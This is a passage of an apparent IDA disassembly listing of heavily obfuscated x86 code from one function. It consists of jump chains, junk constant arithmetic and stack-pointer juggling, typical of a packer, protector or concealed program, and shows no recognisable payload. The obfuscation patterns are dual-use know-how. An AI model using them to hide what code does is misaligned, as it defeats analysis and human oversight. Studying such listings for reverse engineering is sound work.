loc_5C91BC:				; CODE XREF: sub_5A55E5+2954Ej
		add	esp, 4
		sub	esp, 4
		mov	[esp+9Ah+var_9C+2], esi
		push	ebp
		push	edi
		push	121476C1h
		pop	edi
		jmp	loc_5C9201
; ---------------------------------------------------------------------------


loc_5C91D5:				; CODE XREF: sub_5A55E5+1DF47j
		xor	eax, 7028341Ch
		inc	eax
		jmp	loc_5C2BC3
; ---------------------------------------------------------------------------


loc_5C91E0:				; CODE XREF: sub_5A55E5+2C6ADj
		xor	ecx, 11857E11h
		inc	ecx
		jmp	loc_5D164E
; ---------------------------------------------------------------------------


loc_5C91EC:				; CODE XREF: sub_5A55E5+23233j
		inc	edi
		xor	edi, 0F759BC01h
		sub	ecx, 76075D37h
		sub	ecx, edi
		push	edi
		jmp	loc_5CF27A
; ---------------------------------------------------------------------------


loc_5C9201:				; CODE XREF: sub_5A55E5+23BEBj
		dec	edi
		or	edi, 73A35AEDh
		add	edi, 0AF27DB16h
		mov	ebp, edi
		jmp	loc_5D3799
; ---------------------------------------------------------------------------


loc_5C9215:				; CODE XREF: sub_5A55E5+1F53Ej
		sub	bp, bx
		jmp	loc_5C17A5
; ---------------------------------------------------------------------------


loc_5C921D:				; CODE XREF: sub_5A55E5+1CDC6j
		pop	ecx
		jmp	loc_5C761F
; ---------------------------------------------------------------------------


loc_5C9223:				; CODE XREF: sub_5A55E5+2C259j
		pop	ecx
		pop	esi
		sub	ecx, ebp
		mov	ebp, [esp+76h+var_78+2]
		add	esp, 4
		push	eax
		mov	eax, 6D6C718Dh
		jmp	loc_5D2739
; ---------------------------------------------------------------------------


loc_5C923B:				; CODE XREF: sub_5A55E5+2C6FBj
		mov	ah, 3Bh
		add	ah, 0FFh
		add	ah, 0DEh
		add	cl, 24h
		add	cl, 9Fh
		sub	cl, ah
		sub	cl, 9Fh
		sub	cl, 24h
		jmp	loc_5D2FD4
; ---------------------------------------------------------------------------


loc_5C9256:				; CODE XREF: sub_5A55E5+294A0j
		push	362Ah
		mov	[esp+7Ah+var_7C+2], ebx
		mov	ebx, 4
		push	edi
		mov	edi, 21700A89h
		add	edi, 7BC25A24h
		not	edi
		neg	edi
		jmp	loc_5C2CA6
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+7Eh+var_80+2]
		sub	esp, 4
		mov	[esp+82h+var_84+2], edi
		push	21A2h
		sub	esp, 4
		mov	[esp+8Ah+var_8C+2], esp
		add	[esp+8Ah+var_8C+2], 4
		pop	[esp+8Ah+var_8C+2]
		push	ebp
		push	4D193EAEh
		mov	ebp, [esp+8Eh+var_90+2]
		push	edx
		push	esp
		jmp	loc_5C1500
; ---------------------------------------------------------------------------


loc_5C92AD:				; CODE XREF: sub_5A55E5+1D52Bj
		xor	edx, ebx
		push	[esp+0C0h+var_C0]
		pop	ebx
		jmp	loc_5D384F
; ---------------------------------------------------------------------------


loc_5C92B8:				; CODE XREF: sub_5A55E5+1BDA0j
		sub	esp, 4
		mov	[esp+0C8h+var_C8], ebx
		mov	ebx, 4
		sub	eax, 1F01B8h
		add	eax, 762F36B4h
		add	eax, ebx
		sub	eax, 762F36B4h
		add	eax, 1F01B8h
		pop	ebx
		push	ebx
		mov	ebx, 4
		jmp	loc_5D074C
; ---------------------------------------------------------------------------


loc_5C92E5:				; CODE XREF: sub_5A55E5+267EAj
		add	edi, ebx
		add	edi, 7C660014h
		mov	ebx, [esp+0C8h+var_C8]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp+0C4h+var_C4]
		jmp	loc_5CB319
; ---------------------------------------------------------------------------


loc_5C92FE:				; CODE XREF: sub_5A55E5+28DB8j
		pop	[esp+0C4h+var_C4]
		pop	esp
		mov	word ptr [esp+0BCh+var_BC], dx
		push	eax
		mov	al, 62h
		mov	dl, al
		pop	eax
		jmp	loc_5C892A
; ---------------------------------------------------------------------------


loc_5C9311:				; CODE XREF: sub_5A55E5+26F06j
		xor	ebx, [esp+0BCh+var_BC]
		xor	[esp+0BCh+var_BC], ebx
		jmp	loc_5C18A9
; ---------------------------------------------------------------------------


loc_5C931C:				; CODE XREF: sub_5A55E5+1C073j
		mov	ebx, 31D37A7Eh
		and	esi, ebx
		pop	ebx
		shr	esi, 1
		xor	esi, 2F00AEA3h
		jmp	loc_5C66EF
; ---------------------------------------------------------------------------


loc_5C9331:				; CODE XREF: sub_5A55E5+2B879j
		dec	ebp
		xor	ebp, 1E5ACD9Bh
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5CA7AB
; ---------------------------------------------------------------------------


loc_5C9340:				; CODE XREF: sub_5A55E5+208DDj
		xchg	eax, [esp+64h+var_64]
		pop	esp
		mov	[esp+60h+var_60], eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, 4
		jmp	loc_5C0B56
; ---------------------------------------------------------------------------


loc_5C9354:				; CODE XREF: sub_5A55E5+270F1j
		mov	esi, [esp+64h+var_64]
		add	esp, 4
		jmp	loc_5CF07E
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+60h+var_60]
		jmp	loc_5C0F79
; ---------------------------------------------------------------------------


loc_5C9368:				; CODE XREF: sub_5A55E5+1E5E5j
		mov	edi, 46453B92h
		jmp	loc_5CAA69
; ---------------------------------------------------------------------------


loc_5C9372:				; CODE XREF: sub_5A55E5+2638Fj
		add	ebp, 4
		jmp	loc_5C691A
; ---------------------------------------------------------------------------


loc_5C937D:				; CODE XREF: sub_5A55E5+230AAj
		xor	edx, [esp+9Eh+var_A0+2]
		xor	[esp+9Eh+var_A0+2], edx
		jmp	loc_5CA5E5
; ---------------------------------------------------------------------------


loc_5C9388:				; CODE XREF: sub_5A55E5+2821Aj
		push	edi
		push	51D668CDh
		pop	edi
		shl	edi, 1
		not	edi
		jmp	loc_5C61BB
; ---------------------------------------------------------------------------


loc_5C9398:				; CODE XREF: sub_5A55E5+22DD1j
		shl	edx, 1
		and	edx, 9B11F9Bh
		inc	edx
		push	eax
		mov	eax, esp
		jmp	loc_5C62C4
; ---------------------------------------------------------------------------


loc_5C93A9:				; CODE XREF: sub_5A55E5+296D4j
		dec	ecx
		push	edx
		mov	edx, 18301641h
		jmp	loc_5C2BF5
; ---------------------------------------------------------------------------


loc_5C93B5:				; CODE XREF: sub_5A55E5+1D051j
		push	edx
		jmp	loc_5C987D
; ---------------------------------------------------------------------------


loc_5C93BB:				; CODE XREF: sub_5A55E5+1F35Cj
		push	ecx
		mov	ch, 4Dh
		jmp	loc_5C1F29
; ---------------------------------------------------------------------------


loc_5C93C3:				; CODE XREF: sub_5A55E5+1BB8Bj
		mov	esp, [esp+80h+var_80]
		mov	[esp+80h+var_80], edx
		sub	esp, 4
		mov	[esp+84h+var_84], ebx
		push	eax
		mov	ebx, [esp+88h+var_88]
		push	824h
		mov	[esp+8Ch+var_8C], edi
		push	esp
		mov	edi, [esp+90h+var_90]
		jmp	loc_5CA6E5
; ---------------------------------------------------------------------------


loc_5C93E7:				; CODE XREF: sub_5A55E5+2CE2Aj
		xor	ebx, 72CF4E47h
		add	edx, ebx
		pop	ebx
		add	edx, 2
		xor	edx, [esp+8Ch+var_8C]
		jmp	loc_5CB43F
; ---------------------------------------------------------------------------


loc_5C93FE:				; CODE XREF: sub_5A55E5+21EBEj
		sub	esp, 4
		mov	[esp+0A0h+var_A0], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp+0A4h+var_A4], eax
		mov	eax, 4313417Ch
		jmp	loc_5C5D24
; ---------------------------------------------------------------------------


loc_5C941C:				; CODE XREF: sub_5A55E5+24990j
		add	esi, edi
		pop	edi
		xchg	esi, [esp+0A0h+var_A0]
		mov	esp, [esp+0A0h+var_A0]
		push	7C79h
		mov	[esp+0A4h+var_A4], esi
		jmp	loc_5C4995
; ---------------------------------------------------------------------------


loc_5C9432:				; CODE XREF: sub_5A55E5+29714j
		mov	bl, ah
		pop	eax
		jmp	loc_5C74C1
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		push	eax
		mov	ah, 41h
		mov	dl, ah
		pop	eax
		sub	al, dl
		jmp	loc_5C38D9
; ---------------------------------------------------------------------------


loc_5C9449:				; CODE XREF: sub_5A55E5+2A460j
		sub	[esp+0A4h+var_9C], eax
		pop	eax
		pop	ebp
		mov	ecx, [esp+9Ch+var_9C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+9Ch+var_9C], eax
		mov	eax, 1570143Bh
		neg	eax
		dec	eax
		inc	eax
		add	eax, 1
		push	0
		add	[esp+0A0h+var_A0], 265B6AFFh
		sub	[esp+0A0h+var_A0], eax
		sub	[esp+0A0h+var_A0], 265B6AFFh
		pop	eax
		jmp	loc_5C4E8A
; ---------------------------------------------------------------------------


loc_5C9488:				; CODE XREF: sub_5A55E5+24775j
		mov	ch, 0EDh
		sub	bl, 7Bh
		sub	bl, ch
		push	1273h
		mov	[esp+0A0h+var_A0], edx
		push	ecx
		mov	ch, 73h
		and	ch, 0EAh
		shr	ch, 6
		sub	ch, 0DAh
		mov	dh, ch
		pop	ecx
		jmp	loc_5D039F
; ---------------------------------------------------------------------------


loc_5C94AB:				; CODE XREF: sub_5A55E5+26622j
		xor	edi, 4000Dh
		mov	ecx, edi
		pop	edi
		jmp	loc_5D1980
; ---------------------------------------------------------------------------


loc_5C94B9:				; CODE XREF: sub_5A55E5+273C1j
		add	[esp+9Ch+var_98], edx
		pop	edx
		mov	edi, [esp+98h+var_98]
		sub	esp, 4
		jmp	loc_5D3266
; ---------------------------------------------------------------------------


loc_5C94C9:				; CODE XREF: sub_5A55E5+1F960j
		add	edx, 20C85A53h
		jmp	loc_5CE2A9
; ---------------------------------------------------------------------------


loc_5C94D4:				; CODE XREF: sub_5A55E5+1ABE9j
		xor	ecx, 287735FCh
		shr	ecx, 5
		not	ecx
		jmp	loc_5CECB3
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+7Ah+var_7C+2]
		push	edx
		push	esp
		mov	edx, [esp+82h+var_84+2]
		jmp	loc_5D113A
; ---------------------------------------------------------------------------


loc_5C94F2:				; CODE XREF: sub_5A55E5+25057j
		mov	[esp+82h+var_84+2], ebp
		jmp	loc_5C52F3
; ---------------------------------------------------------------------------


loc_5C94FA:				; CODE XREF: sub_5A55E5+2E9CFj
		push	2682h
		mov	[esp+86h+var_88+2], ebp
		push	[esp+86h+var_84+2]
		jmp	loc_5CA56F
; ---------------------------------------------------------------------------


loc_5C950B:				; CODE XREF: sub_5A55E5+1F83Cj
		dec	ebp
		sub	ebp, 77B17E09h
		xor	ebp, 0A85F42Ah
		push	ebp
		pop	edx
		jmp	loc_5C10C1
; ---------------------------------------------------------------------------


loc_5C951F:				; CODE XREF: sub_5A55E5+22503j
		xor	[esp+58h+var_58], edi
		xor	edi, [esp+58h+var_58]
		mov	esp, [esp+58h+var_58]
		movsx	ecx, al
		push	298Ah
		mov	[esp+5Ch+var_5C], ecx
		jmp	loc_5D1D22
; ---------------------------------------------------------------------------


loc_5C9538:				; CODE XREF: sub_5A55E5+248B5j
		push	ebx
		mov	ebx, 6455D35h
		jmp	loc_5CEEC2
; ---------------------------------------------------------------------------


loc_5C9543:				; CODE XREF: sub_5A55E5+1B166j
		mov	ebx, 0C37378Eh
		and	ebx, 4EA830F7h
		add	ebx, 7627F4h
		xor	ebx, 0C96587Eh
		mov	eax, ebx
		pop	ebx
		add	[esp+78h+var_74], 2682746Bh
		add	[esp+78h+var_74], eax
		sub	[esp+78h+var_74], 2682746Bh
		push	[esp+78h+var_78]
		jmp	loc_5D1DBF
; ---------------------------------------------------------------------------


loc_5C9579:				; CODE XREF: sub_5A55E5+1FBF0j
		push	3356h
		jmp	loc_5D2BFD
; ---------------------------------------------------------------------------


loc_5C9583:				; CODE XREF: sub_5A55E5+1C243j
		push	edi
		push	esp
		pop	edi
		push	1F10h
		mov	[esp+0A6h+var_A8+2], eax
		mov	eax, 1F316269h
		and	eax, 6CB107DAh
		neg	eax
		not	eax
		jmp	loc_5C21E4
; ---------------------------------------------------------------------------


loc_5C95A1:				; CODE XREF: sub_5A55E5+1BC0Fj
		pop	edi
		xor	esi, [esp+92h+var_94+2]
		xor	[esp+92h+var_94+2], esi
		jmp	loc_5C7E65
; ---------------------------------------------------------------------------


loc_5C95AD:				; CODE XREF: sub_5A55E5+2ADB5j
		and	edi, esi
		pop	esi
		shr	edi, 3
		jmp	loc_5C8CDA
; ---------------------------------------------------------------------------


loc_5C95B8:				; CODE XREF: sub_5A55E5+2D09Fj
		add	ebp, 4
		xchg	ebp, [esp+8Eh+var_90+2]
		pop	esp
		push	2F2Dh
		jmp	loc_5C57C2
; ---------------------------------------------------------------------------


loc_5C95CC:				; CODE XREF: sub_5A55E5+2B61Aj
		push	eax
		mov	eax, 4305B7EBh
		sub	ecx, eax
		pop	eax
		jmp	loc_5C2042
; ---------------------------------------------------------------------------


loc_5C95DA:				; CODE XREF: sub_5A55E5+2AFFBj
		push	edi
		push	ecx
		jmp	loc_5CC8B2
; ---------------------------------------------------------------------------


loc_5C95E1:				; CODE XREF: sub_5A55E5+288EBj
		push	eax
		mov	eax, 29EA4A32h
		shl	eax, 4
		add	eax, 615B5CE4h
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp+96h+var_98+2]
		pop	esp
		push	ebx
		push	edi
		mov	edi, 0A403015h
		xor	edi, 1271676Fh
		add	edi, 6A211DAEh
		or	edi, 669462EFh
		inc	edi
		and	edi, 10855DEh
		add	edi, 7CFDF74Dh
		mov	ebx, edi
		pop	edi
		jmp	loc_5CB247
; ---------------------------------------------------------------------------


loc_5C9627:				; CODE XREF: sub_5A55E5+1FE99j
		pop	ecx
		jmp	loc_5CA52F
; ---------------------------------------------------------------------------


loc_5C962D:				; CODE XREF: sub_5A55E5+2E8DAj
		pop	esp
		mov	[esp+0BAh+var_BC+2], esi
		mov	esi, 129E180Dh
		push	ecx
		mov	ecx, 4C9A1E93h
		add	esi, ecx
		pop	ecx
		shr	esi, 6
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 35264C1Ah
		jmp	loc_5D20C4
; ---------------------------------------------------------------------------


loc_5C9656:				; CODE XREF: sub_5A55E5+2188Ej
		push	edi
		jmp	loc_5C501A
; ---------------------------------------------------------------------------


loc_5C965C:				; CODE XREF: sub_5A55E5+230F0j
		inc	byte ptr [esp+0A2h+var_A4+2]
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C9665:				; CODE XREF: sub_5A55E5+2E219j
		pop	edx
		mov	ecx, [esp+0A2h+var_A4+2]
		add	esp, 4
		add	al, 31h
		sub	al, bl
		sub	al, 31h
		push	[esp+9Eh+var_A0+2]
		mov	ebx, [esp+0A2h+var_A4+2]
		add	esp, 4
		add	esp, 4
		push	1F56h
		mov	[esp+9Eh+var_A0+2], ebx
		mov	bh, 0FAh
		sub	esp, 4
		mov	[esp+0A2h+var_A4+2], ecx
		push	eax
		push	edx
		mov	dl, bh
		push	ecx
		mov	cl, dl
		mov	ah, cl
		pop	ecx
		pop	edx
		mov	ch, ah
		push	[esp+0A6h+var_A8+2]
		pop	eax
		add	esp, 4
		dec	ch
		push	edx
		mov	dh, ch
		mov	bh, dh
		jmp	loc_5C066D
; ---------------------------------------------------------------------------


loc_5C96AE:				; CODE XREF: sub_5A55E5+1A387j
		sub	ecx, 4
		jmp	loc_5C4A28
; ---------------------------------------------------------------------------


loc_5C96B6:				; CODE XREF: sub_5A55E5+2E566j
		mov	dh, 6Dh
		push	ebx
		mov	bh, dh
		jmp	loc_5C5E65
; ---------------------------------------------------------------------------


loc_5C96C0:				; CODE XREF: sub_5A55E5+29585j
		pop	esp
		mov	[esp+50h+var_50], eax
		push	184641AAh
		jmp	loc_5C614E
; ---------------------------------------------------------------------------


loc_5C96CE:				; CODE XREF: sub_5A55E5+1C1D5j
		pop	bp
		xor	bp, 4079h
		mov	si, bp
		jmp	loc_5D11C8
; ---------------------------------------------------------------------------


loc_5C96DD:				; CODE XREF: sub_5A55E5+26A24j
		add	esp, 4
		sub	esp, 4
		mov	[esp+9Ch+var_9C], ebp
		mov	ebp, esp
		add	ebp, 4
		push	7D3h
		mov	[esp+0A0h+var_A0], eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_5D0EF2
; ---------------------------------------------------------------------------


loc_5C9708:				; CODE XREF: sub_5A55E5+21B9Ej
		mov	ecx, edi
		mov	edi, [esp+9Ch+var_9C]
		add	esp, 4
		sub	eax, 12936BB5h
		jmp	loc_5C5992
; ---------------------------------------------------------------------------


loc_5C971A:				; CODE XREF: sub_5A55E5+1CFE3j
		mov	edi, 79F2485Ch
		jmp	loc_5CDD93
; ---------------------------------------------------------------------------


loc_5C9724:				; CODE XREF: sub_5A55E5+21D45j
		pop	edi
		sub	edi, 3CAB5BCEh
		mov	edx, edi
		mov	edi, [esp+0A6h+var_A8+2]
		add	esp, 4
		jmp	loc_5CE79F
; ---------------------------------------------------------------------------


loc_5C9738:				; CODE XREF: sub_5A55E5+25F31j
		mov	esi, 524F7C64h
		and	ebp, esi
		pop	esi
		dec	ebp
		or	ebp, 10C6582Eh
		jmp	loc_5D0B8E
; ---------------------------------------------------------------------------


loc_5C974C:				; CODE XREF: sub_5A55E5+2BF51j
		shl	ch, 6
		and	ch, 60h
		sub	ch, 6Fh
		sub	al, ch
		pop	ecx
		jmp	loc_5BF8F5
; ---------------------------------------------------------------------------


loc_5C975D:				; CODE XREF: sub_5A55E5+1F6E3j
		push	ebp
		mov	ebp, 785B7734h
		inc	ebp
		xor	ebp, 785B7731h
		jmp	loc_5C0657
; ---------------------------------------------------------------------------


loc_5C976F:				; CODE XREF: sub_5A55E5+2083Fj
		sub	ebp, 48D06336h
		and	esi, ebp
		pop	ebp
		add	esi, 5CDE3B33h
		inc	esi
		jmp	loc_5C4B55
; ---------------------------------------------------------------------------


loc_5C9784:				; CODE XREF: sub_5A55E5+1F3FBj
		mov	ebp, 361243ADh
		xor	ebp, 47322A78h
		add	ebp, 0BF6EC037h
		jmp	loc_5CA9F4
; ---------------------------------------------------------------------------


loc_5C979A:				; CODE XREF: sub_5A55E5+27009j
		xor	esi, 1E0DAD05h
		mov	ecx, esi
		pop	esi
		or	ecx, 16B54A0Eh
		shr	ecx, 8
		sub	ecx, 3EBD6Bh
		add	edx, ecx
		mov	ecx, [esp+80h+var_80]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp+7Ch+var_7C]
		pop	esp
		jmp	loc_5C68DD
; ---------------------------------------------------------------------------


loc_5C97C9:				; CODE XREF: sub_5A55E5+1E603j
		sub	ebp, 6299E547h
		xor	ecx, ebp
		pop	ebp
		or	ebx, ecx
		mov	ecx, [esp+0A8h+var_A8]
		add	esp, 4
		jmp	loc_5C5185
; ---------------------------------------------------------------------------


loc_5C97E2:				; CODE XREF: sub_5A55E5+1D2D7j
		push	ecx
		jmp	loc_5C1FE4
; ---------------------------------------------------------------------------


loc_5C97E8:				; CODE XREF: sub_5A55E5+1ECF2j
		sub	ebp, esi
		sub	ebp, 4E03A89h
		jmp	loc_5C4313
; ---------------------------------------------------------------------------


loc_5C97F5:				; CODE XREF: sub_5A55E5+1CDE0j
		pop	esp
		push	ebp
		push	eax
		mov	eax, 3E2D733Ah
		neg	eax
		shl	eax, 5
		push	ecx
		mov	ecx, 0B712A28h
		push	eax
		mov	eax, 111A88Bh
		sub	ecx, eax
		pop	eax
		xor	eax, ecx
		pop	ecx
		jmp	loc_5BFC6C
; ---------------------------------------------------------------------------


loc_5C9819:				; CODE XREF: sub_5A55E5+1F135j
		pop	edx
		sub	ch, 0A1h
		push	3FB7h
		mov	[esp+9Eh+var_A0+2], edx
		mov	dh, 9
		push	eax
		mov	al, 0EEh
		dec	al
		shr	al, 5
		push	ebx
		jmp	loc_5C0166
; ---------------------------------------------------------------------------


loc_5C9835:				; CODE XREF: sub_5A55E5+1B7B9j
		mov	ebp, 6F440565h
		add	ebx, ebp
		jmp	loc_5D0BC3
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0A8h+var_A8]
		push	ebp
		sub	esp, 4
		push	esp
		pop	[esp+0B4h+var_B4]
		add	[esp+0B0h+var_B0], 4
		pop	ebp
		jmp	loc_5D02F1
; ---------------------------------------------------------------------------


loc_5C9857:				; CODE XREF: sub_5A55E5+2246Bj
		sub	edi, 30515EFBh
		push	eax
		mov	eax, 52644F19h
		push	esi
		mov	esi, 3FCA0D9Eh
		push	edx
		jmp	loc_5C6D26
; ---------------------------------------------------------------------------


loc_5C986F:				; CODE XREF: sub_5A55E5+2611Bj
		push	6060h
		mov	[esp+0C8h+var_C8], ecx
		push	eax
		jmp	loc_5C7639
; ---------------------------------------------------------------------------


loc_5C987D:				; CODE XREF: sub_5A55E5+23DD1j
		mov	dl, 9Eh
		xchg	bl, dl
		not	bl
		xchg	bl, dl
		or	dl, 11h
		sub	dl, 1
		xor	dl, 5Eh
		push	ebx
		mov	bl, 0BDh
		add	dl, bl
		pop	ebx
		xor	cl, dl
		pop	edx
		sub	al, cl
		mov	ecx, [esp+7Ch+var_7C]
		add	esp, 4
		add	al, bl
		add	al, 5Ch
		jmp	loc_5C8B9B
; ---------------------------------------------------------------------------


loc_5C98AB:				; CODE XREF: sub_5A55E5+2C3A0j
		pop	ecx
		add	esp, 4
		xor	ebx, [esp+70h+var_70]
		xor	[esp+70h+var_70], ebx
		jmp	loc_5CCD4D
; ---------------------------------------------------------------------------


loc_5C98BA:				; CODE XREF: sub_5A55E5+2A618j
		sub	ecx, 4F736CE6h
		mov	esi, [esp+70h+var_70]
		add	esp, 4
		push	eax
		mov	eax, 2
		jmp	loc_5CAFEB
; ---------------------------------------------------------------------------


loc_5C98D4:				; CODE XREF: sub_5A55E5+21AFEj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+88h+var_88]
		jmp	loc_5CE1CE
; ---------------------------------------------------------------------------


loc_5C98E7:				; CODE XREF: sub_5A55E5+1C0DAj
		xchg	edi, [esp+9Ah+var_9C+2]
		mov	esp, [esp+9Ah+var_9C+2]
		mov	[esp+9Ah+var_9C+2], eax
		mov	ah, 3Fh
		push	bx
		mov	bl, 0D1h
		jmp	loc_5C44EB
; ---------------------------------------------------------------------------


loc_5C98FB:				; CODE XREF: sub_5A55E5+1F44Dj
		mov	[esp+94h+var_94], ecx
		jmp	loc_5D34E1
; ---------------------------------------------------------------------------


loc_5C9903:				; CODE XREF: sub_5A55E5+1D47Aj
		xor	ebx, ecx
		pop	ecx
		dec	ebx
		add	ebx, 31DA9116h
		sub	edx, ebx
		pop	ebx
		push	edx
		pop	ecx
		push	[esp+3Ch+var_3E+2]
		pop	edx
		push	6083h
		mov	[esp+40h+var_42+2], edi
		mov	edi, esp
		push	eax
		mov	eax, 6F5B0BE3h
		xor	eax, 6F5B0BE7h
		add	edi, eax
		pop	eax
		push	ecx
		mov	ecx, 4
		sub	edi, 152D4F1Dh
		add	edi, ecx
		add	edi, 152D4F1Dh
		jmp	loc_5CCB77
; ---------------------------------------------------------------------------


loc_5C9947:				; CODE XREF: sub_5A55E5+2851Ej
		xchg	ebx, [esp+44h+var_46+2]
		mov	esp, [esp+44h+var_46+2]
		jmp	loc_5C7946
; ---------------------------------------------------------------------------


loc_5C9952:				; CODE XREF: sub_5A55E5+24855j
		inc	dl
		shr	dl, 3
		sub	dl, 8Dh
		push	ebx
		push	ecx
		jmp	loc_5C64CD
; ---------------------------------------------------------------------------


loc_5C9961:				; CODE XREF: sub_5A55E5+263E5j
		add	edi, esi
		pop	esi
		jmp	loc_5C7297
; ---------------------------------------------------------------------------
		xor	[esp+48h+var_4A+2], esi
		xor	esi, [esp+48h+var_4A+2]
		xor	[esp+48h+var_4A+2], esi
		sub	esp, 4
		mov	[esp], esi
		xor	[esp], edx
		jmp	loc_5C3F1A
; ---------------------------------------------------------------------------


loc_5C9980:				; CODE XREF: sub_5A55E5+228A1j
		push	[esp+0A0h+var_A0]
		mov	ebx, [esp+0A4h+var_A4]
		add	esp, 4
		jmp	loc_5C2838
; ---------------------------------------------------------------------------


loc_5C998E:				; CODE XREF: sub_5A55E5+25F48j
		pop	ebx
		xchg	ebp, [esp+9Ch+var_9C]
		pop	esp
		push	4041h
		mov	[esp+9Ch+var_9C], ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp+0A0h+var_A0]
		add	esp, 4
		push	559h
		jmp	loc_5C2F16
; ---------------------------------------------------------------------------


loc_5C99B5:				; CODE XREF: sub_5A55E5+1B5EBj
		add	esp, 4
		add	eax, esi
		push	edi
		jmp	loc_5C3CD6
; ---------------------------------------------------------------------------


loc_5C99C3:				; CODE XREF: sub_5A55E5+21B53j
		pop	esi
		add	esp, 4
		shr	ecx, 7
		jmp	loc_5CDAC7
; ---------------------------------------------------------------------------


loc_5C99D2:				; CODE XREF: sub_5A55E5+1C32Cj
		mov	edx, 107177AFh
		sub	eax, edx
		pop	edx
		push	edi
		jmp	loc_5C2D4B
; ---------------------------------------------------------------------------


loc_5C99E0:				; CODE XREF: sub_5A55E5+1A482j
		add	esp, 4
		or	eax, eax
		jz	loc_5C9FEA
		sub	esp, 4
		mov	[esp+50h+var_50], ebx
		mov	ebx, 1Ch
		sub	ebx, 6AC23D9Bh
		sub	ebx, 34F3720Fh
		add	ebx, edi
		jmp	loc_5CFA14
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+50h+var_50]
		push	7A97h
		mov	[esp+54h+var_54], edx
		push	esp
		pop	edx
		push	eax
		mov	eax, 4
		push	edi
		mov	edi, 1C641F4Dh
		shl	edi, 8
		xor	edi, 0C771EC2h
		sub	edx, edi
		pop	edi
		add	edx, eax
		add	edx, 686853C2h
		pop	eax
		push	930h
		mov	[esp+58h+var_58], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+58h+var_58]
		jmp	loc_5D2733
; ---------------------------------------------------------------------------


loc_5C9A53:				; CODE XREF: sub_5A55E5+1E6C2j
		push	edi
		push	3194h
		jmp	loc_5CE4F8
; ---------------------------------------------------------------------------


loc_5C9A5E:				; CODE XREF: sub_5A55E5+1F19Aj
		pop	[esp+7Eh+var_80+2]
		mov	esp, [esp+7Ah+var_7C+2]
		push	ebx
		jmp	loc_5C12A1
; ---------------------------------------------------------------------------


loc_5C9A6A:				; CODE XREF: sub_5A55E5+23149j
		push	[esp+9Ah+var_9C+2]
		pop	edi
		add	esp, 4
		jmp	loc_5CBF8C
; ---------------------------------------------------------------------------


loc_5C9A76:				; CODE XREF: sub_5A55E5+26CB4j
		mov	[esp+96h+var_98+2], ebx
		jmp	loc_5C2729
; ---------------------------------------------------------------------------


loc_5C9A7E:				; CODE XREF: sub_5A55E5+1D6C3j
		and	edi, 63263858h
		xor	edi, 42F056A0h
		sub	ebp, 75E378FAh
		add	ebp, edi
		jmp	loc_5BFD68
; ---------------------------------------------------------------------------


loc_5C9A97:				; CODE XREF: sub_5A55E5+2D393j
		push	edx
		mov	edx, 4
		sub	ecx, edx


loc_5C9A9F:				; CODE XREF: sub_5A55E5+24537j
		jmp	loc_5C5FBA
; ---------------------------------------------------------------------------


loc_5C9AA4:				; CODE XREF: sub_5A55E5+227C7j
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5C9CC1
; ---------------------------------------------------------------------------


loc_5C9AB3:				; CODE XREF: sub_5A55E5+1B8E0j
		sub	edi, 3C9F6709h
		add	edi, 501E6998h
		jmp	loc_5C1438
; ---------------------------------------------------------------------------


loc_5C9AC4:				; CODE XREF: sub_5A55E5+268B1j
		push	[esp+84h+var_80]
		push	[esp+88h+var_88]
		jmp	loc_5CEFCF
; ---------------------------------------------------------------------------


loc_5C9AD0:				; CODE XREF: sub_5A55E5+287D8j
		push	46F9h
		mov	[esp+90h+var_90], ecx
		push	ebp
		mov	ebp, 0BC37AEh
		mov	ecx, 4AB66551h
		xor	ecx, ebp
		jmp	loc_5CAEB6
; ---------------------------------------------------------------------------


loc_5C9AEA:				; CODE XREF: sub_5A55E5+27A2Cj
		pop	edx
		jmp	loc_5C366B
; ---------------------------------------------------------------------------


loc_5C9AF0:				; CODE XREF: sub_5A55E5+1FB5Fj
		mov	[esp+9Ah+var_9C+2], esp
		add	[esp+9Ah+var_9C+2], 4
		mov	esi, [esp+9Ah+var_9C+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+9Eh+var_A0+2]
		pop	esp
		push	ecx
		push	4
		jmp	loc_5C8D4A
; ---------------------------------------------------------------------------
		db 89h
; ---------------------------------------------------------------------------
		jecxz	short loc_5C9A9F
		retn
; ---------------------------------------------------------------------------
		db 4
		dd 0E9000000h, 0FFFFD600h, 0E92434FFh, 0FFFF7836h
; ---------------------------------------------------------------------------


loc_5C9B30:				; CODE XREF: sub_5A55E5+2CEFFj
		pop	edi
		xor	[esp+9Eh+var_9C+2], edi
		mov	edi, [esp+9Eh+var_A0+2]
		add	esp, 4
		mov	ecx, [esp+9Ah+var_9C+2]
		add	esp, 4
		xor	ecx, 52A2C89h
		pop	edx
		mov	edi, [esp+92h+var_94+2]
		add	esp, 4
		add	edx, ecx
		push	[esp+8Eh+var_90+2]
		pop	ecx
		add	esp, 4
		and	eax, edx
		push	[esp+8Ah+var_8C+2]
		pop	edx
		add	esp, 4
		shr	eax, 0Bh
		jmp	loc_5C64A8
; ---------------------------------------------------------------------------


loc_5C9B6B:				; CODE XREF: sub_5A55E5+27F78j
		add	di, 6162h
		mov	ebx, [esp+86h+var_88+2]
		add	esp, 4
		add	di, 0FFFFh
		push	ecx
		mov	cx, 6211h
		sub	cx, 55E6h
		sub	cx, 0B2Bh
		sub	di, 3A1h
		sub	di, cx
